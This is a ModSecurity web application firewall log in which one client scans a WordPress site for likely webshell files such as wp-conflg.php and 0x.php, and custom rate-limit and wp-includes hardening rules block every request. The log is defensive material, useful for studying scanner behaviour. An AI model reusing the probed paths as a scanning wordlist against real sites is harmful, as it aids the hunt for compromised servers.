[Sat Feb 28 11:36:47.266324 2026] [:error] [pid 39292:tid 39314] [client 20.104.82.189:6153] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "aaJiz6IAO5fN7BxyqcGyOwAAANQ"]
[Sat Feb 28 11:36:47.680269 2026] [:error] [pid 39185:tid 39250] [client 20.104.82.189:6300] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaJizxVE-FfM89u7BQZ5zgAAAIQ"]
[Sat Feb 28 11:36:48.097121 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6238] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaJi0GuX5e1Q32gqxH3sZwAAAQM"]
[Sat Feb 28 11:36:48.511731 2026] [:error] [pid 52460:tid 52480] [client 20.104.82.189:6272] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaJi0LLWOogAgHGh62TcFgAAAZE"]
[Sat Feb 28 11:36:48.943379 2026] [:error] [pid 39185:tid 39257] [client 20.104.82.189:6285] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaJi0BVE-FfM89u7BQZ50AAAAIs"]
[Sat Feb 28 11:36:49.362854 2026] [:error] [pid 39292:tid 39317] [client 20.104.82.189:6252] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaJi0aIAO5fN7BxyqcGyQQAAANc"]
[Sat Feb 28 11:36:49.780213 2026] [:error] [pid 39185:tid 39269] [client 20.104.82.189:6192] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaJi0RVE-FfM89u7BQZ51AAAAJc"]
[Sat Feb 28 11:36:50.196769 2026] [:error] [pid 39185:tid 39270] [client 20.104.82.189:6204] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaJi0hVE-FfM89u7BQZ52AAAAJg"]
[Sat Feb 28 11:36:50.631367 2026] [:error] [pid 39183:tid 39197] [client 20.104.82.189:6282] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aaJi0hCf4HvhVePw3LbZQQAAAAU"]
[Sat Feb 28 11:36:51.101641 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6228] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaJi07LWOogAgHGh62TcJQAAAY4"]
[Sat Feb 28 11:36:51.524144 2026] [:error] [pid 52460:tid 52466] [client 20.104.82.189:6150] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaJi07LWOogAgHGh62TcLAAAAYM"]
[Sat Feb 28 11:36:51.942292 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6256] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaJi07LWOogAgHGh62TcMgAAAY0"]
[Sat Feb 28 11:36:52.353461 2026] [:error] [pid 39184:tid 39235] [client 20.104.82.189:6159] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aaJi1FtZF9Zd_U7easDG2wAAAFA"]
[Sat Feb 28 11:36:52.779132 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6232] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJi1BVE-FfM89u7BQZ58gAAAIc"]
[Sat Feb 28 11:36:53.194241 2026] [:error] [pid 39185:tid 39266] [client 20.104.82.189:6290] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJi1RVE-FfM89u7BQZ59gAAAJQ"]
[Sat Feb 28 11:36:53.620183 2026] [:error] [pid 11791:tid 11814] [client 20.104.82.189:6323] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJi1WuX5e1Q32gqxH3sbwAAARU"]
[Sat Feb 28 11:36:54.047216 2026] [:error] [pid 52460:tid 52468] [client 20.104.82.189:6273] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aaJi1rLWOogAgHGh62TcQgAAAYU"]
[Sat Feb 28 11:36:54.465770 2026] [:error] [pid 52460:tid 52486] [client 20.104.82.189:6146] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaJi1rLWOogAgHGh62TcRgAAAZc"]
[Sat Feb 28 11:36:54.883582 2026] [:error] [pid 52460:tid 52467] [client 20.104.82.189:6242] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaJi1rLWOogAgHGh62TcTQAAAYQ"]
[Sat Feb 28 11:36:55.300088 2026] [:error] [pid 39184:tid 39223] [client 20.104.82.189:6194] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaJi11tZF9Zd_U7easDG3AAAAEQ"]
[Sat Feb 28 11:36:55.714108 2026] [:error] [pid 39185:tid 39268] [client 20.104.82.189:6144] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aaJi1xVE-FfM89u7BQZ6CwAAAJY"]
[Sat Feb 28 11:36:56.134987 2026] [:error] [pid 39185:tid 39270] [client 20.104.82.189:6181] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaJi2BVE-FfM89u7BQZ6EQAAAJg"]
[Sat Feb 28 11:36:56.548652 2026] [:error] [pid 39185:tid 39257] [client 20.104.82.189:6301] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaJi2BVE-FfM89u7BQZ6FwAAAIs"]
[Sat Feb 28 11:36:56.976272 2026] [:error] [pid 39185:tid 39263] [client 20.104.82.189:6226] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaJi2BVE-FfM89u7BQZ6HgAAAJE"]
[Sat Feb 28 11:36:57.386452 2026] [:error] [pid 11791:tid 11812] [client 20.104.82.189:6281] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aaJi2WuX5e1Q32gqxH3sdgAAARM"]
[Sat Feb 28 11:36:57.801031 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6305] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi2bLWOogAgHGh62TcWwAAAZM"]
[Sat Feb 28 11:36:58.214926 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6234] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi2hVE-FfM89u7BQZ6JgAAAIc"]
[Sat Feb 28 11:36:58.631817 2026] [:error] [pid 39292:tid 39303] [client 20.104.82.189:6248] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi2qIAO5fN7BxyqcGyVAAAAMk"]
[Sat Feb 28 11:36:59.046776 2026] [:error] [pid 39184:tid 39238] [client 20.104.82.189:6292] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi21tZF9Zd_U7easDG4AAAAFM"]
[Sat Feb 28 11:36:59.461745 2026] [:error] [pid 39185:tid 39251] [client 20.104.82.189:6339] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaJi2xVE-FfM89u7BQZ6LAAAAIU"]
[Sat Feb 28 11:36:59.873760 2026] [:error] [pid 22194:tid 22202] [client 20.104.82.189:6274] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaJi236mbajs3bzQGysmyAAAAUY"]
[Sat Feb 28 11:37:00.289668 2026] [:error] [pid 39185:tid 39260] [client 20.104.82.189:6374] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaJi3BVE-FfM89u7BQZ6LwAAAI4"]
[Sat Feb 28 11:37:00.705923 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6209] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaJi3LLWOogAgHGh62TcZwAAAZM"]
[Sat Feb 28 11:37:01.132494 2026] [:error] [pid 39185:tid 39248] [client 20.104.82.189:6179] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaJi3RVE-FfM89u7BQZ6MgAAAII"]
[Sat Feb 28 11:37:01.557716 2026] [:error] [pid 39292:tid 39310] [client 20.104.82.189:6170] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaJi3aIAO5fN7BxyqcGyWQAAANA"]
[Sat Feb 28 11:37:01.969047 2026] [:error] [pid 39292:tid 39299] [client 20.104.82.189:6284] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaJi3aIAO5fN7BxyqcGyYQAAAMU"]
[Sat Feb 28 11:37:02.390583 2026] [:error] [pid 39185:tid 39266] [client 20.104.82.189:6309] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cong.php"] [unique_id "aaJi3hVE-FfM89u7BQZ6OQAAAJQ"]
[Sat Feb 28 11:37:02.801407 2026] [:error] [pid 39185:tid 39269] [client 20.104.82.189:6160] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaJi3hVE-FfM89u7BQZ6QAAAAJc"]
[Sat Feb 28 11:37:03.214822 2026] [:error] [pid 52460:tid 52470] [client 20.104.82.189:6145] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaJi37LWOogAgHGh62TccAAAAYc"]
[Sat Feb 28 11:37:03.633787 2026] [:error] [pid 39185:tid 39246] [client 20.104.82.189:6342] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaJi3xVE-FfM89u7BQZ6RQAAAIA"]
[Sat Feb 28 11:37:04.050258 2026] [:error] [pid 39184:tid 39243] [client 20.104.82.189:6303] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w.php"] [unique_id "aaJi4FtZF9Zd_U7easDG8AAAAFg"]
[Sat Feb 28 11:37:04.462536 2026] [:error] [pid 39183:tid 39206] [client 20.104.82.189:6308] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJi4BCf4HvhVePw3LbZTgAAAA4"]
[Sat Feb 28 11:37:04.885256 2026] [:error] [pid 22194:tid 22219] [client 20.104.82.189:6196] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJi4H6mbajs3bzQGysmzAAAAVc"]
[Sat Feb 28 11:37:05.305748 2026] [:error] [pid 52460:tid 52482] [client 20.104.82.189:6165] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJi4bLWOogAgHGh62TcegAAAZM"]
[Sat Feb 28 11:37:05.725790 2026] [:error] [pid 39292:tid 39305] [client 20.104.82.189:6280] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaJi4aIAO5fN7BxyqcGyZQAAAMs"]
[Sat Feb 28 11:37:06.143465 2026] [:error] [pid 39184:tid 39228] [client 20.104.82.189:6317] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaJi4ltZF9Zd_U7easDG9QAAAEk"]
[Sat Feb 28 11:37:06.552623 2026] [:error] [pid 39185:tid 39267] [client 20.104.82.189:6382] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaJi4hVE-FfM89u7BQZ6VgAAAJU"]
[Sat Feb 28 11:37:06.971634 2026] [:error] [pid 39185:tid 39258] [client 20.104.82.189:6240] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaJi4hVE-FfM89u7BQZ6WgAAAIw"]
[Sat Feb 28 11:37:07.382553 2026] [:error] [pid 39184:tid 39221] [client 20.104.82.189:6331] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aaJi41tZF9Zd_U7easDG-wAAAEI"]
[Sat Feb 28 11:37:07.797995 2026] [:error] [pid 11791:tid 11802] [client 20.104.82.189:6241] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi42uX5e1Q32gqxH3slgAAAQk"]
[Sat Feb 28 11:37:08.212359 2026] [:error] [pid 11791:tid 11813] [client 20.104.82.189:6224] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi5GuX5e1Q32gqxH3smgAAARQ"]
[Sat Feb 28 11:37:08.631408 2026] [:error] [pid 39185:tid 39251] [client 20.104.82.189:6296] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi5BVE-FfM89u7BQZ6XwAAAIU"]
[Sat Feb 28 11:37:09.088881 2026] [:error] [pid 11791:tid 11796] [client 20.104.82.189:6279] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aaJi5WuX5e1Q32gqxH3soAAAAQM"]
[Sat Feb 28 11:37:09.518500 2026] [:error] [pid 39185:tid 39267] [client 20.104.82.189:6325] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaJi5RVE-FfM89u7BQZ6ZAAAAJU"]
[Sat Feb 28 11:37:09.936167 2026] [:error] [pid 22194:tid 22207] [client 20.104.82.189:6230] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaJi5X6mbajs3bzQGysm0wAAAUs"]
[Sat Feb 28 11:37:10.349542 2026] [:error] [pid 52460:tid 52476] [client 20.104.82.189:6246] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aaJi5rLWOogAgHGh62TckQAAAY0"]
